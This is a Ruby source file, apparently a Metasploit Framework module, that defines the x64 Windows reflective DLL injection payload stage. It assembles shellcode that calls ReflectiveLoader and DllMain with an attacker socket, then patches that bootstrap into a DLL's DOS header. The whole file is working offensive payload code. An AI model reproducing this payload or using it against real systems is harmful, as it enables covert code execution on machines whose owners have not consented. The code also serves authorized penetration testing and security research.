# -*- coding: binary -*-

module Msf


###
#
# Common module stub for ARCH_X64 payloads that make use of Reflective DLL Injection.
#
###


module Payload::Windows::ReflectiveDllInject_x64

  include Msf::ReflectiveDLLLoader
  include Msf::Payload::Windows

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Reflective DLL Injection',
      'Description'   => 'Inject a DLL via a reflective loader',
      'Author'        => [ 'sf' ],
      'References'    => [
        [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
        [ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
      ],
      'Platform'      => 'win',
      'Arch'          => ARCH_X64,
      'PayloadCompat' => { 'Convention' => 'sockrdi' },
      'Stage'         => { 'Payload'   => "" }
      ))

    register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
  end

  def library_path
    datastore['DLL']
  end

  def asm_invoke_dll(opts={})
    asm = %Q^
        ; prologue
          db 0x4d, 0x5a         ; 'MZ' = "pop r10"
          push r10              ; back to where we started
          push rbp              ; save rbp
          mov rbp, rsp          ; set up a new stack frame
          sub rsp, 32           ; allocate some space for calls.
          and rsp, ~0xF         ; Ensure RSP is 16 byte aligned
        ; GetPC
          call $+5              ; relative call to get location
          pop rbx               ; pop return value
        ; Invoke ReflectiveLoader()
          ; add the offset to ReflectiveLoader()
          add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)}
          call rbx              ; invoke ReflectiveLoader()
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
          ; offset from ReflectiveLoader() to the end of the DLL
          mov r8, rdi           ; r8 contains the socket
          mov rbx, rax          ; save DllMain for another call
          push 4                ; push up 4, indicate that we have attached
          pop rdx               ; pop 4 into rdx
          call rbx              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
          ; push the exitfunk value onto the stack
          mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
          push 5                ; push 5, indicate that we have detached
          pop rdx               ; pop 5 into rdx
          call rbx              ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
    ^
  end

  def stage_payload(opts = {})
    # Exceptions will be thrown by the mixin if there are issues.
    dll, offset = load_rdi_dll(library_path)

    asm_opts = {
      rdi_offset: offset,
      exitfunk:   'thread'  # default to 'thread' for migration
    }

    asm = asm_invoke_dll(asm_opts)

    # generate the bootstrap asm
    bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string

    # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
    if bootstrap.length > 62
      raise RuntimeError, "Reflective DLL Injection (x64) generated an oversized bootstrap!"
    end

    # patch the bootstrap code into the dll's DOS header...
    dll[ 0, bootstrap.length ] = bootstrap

    dll
  end

end

end

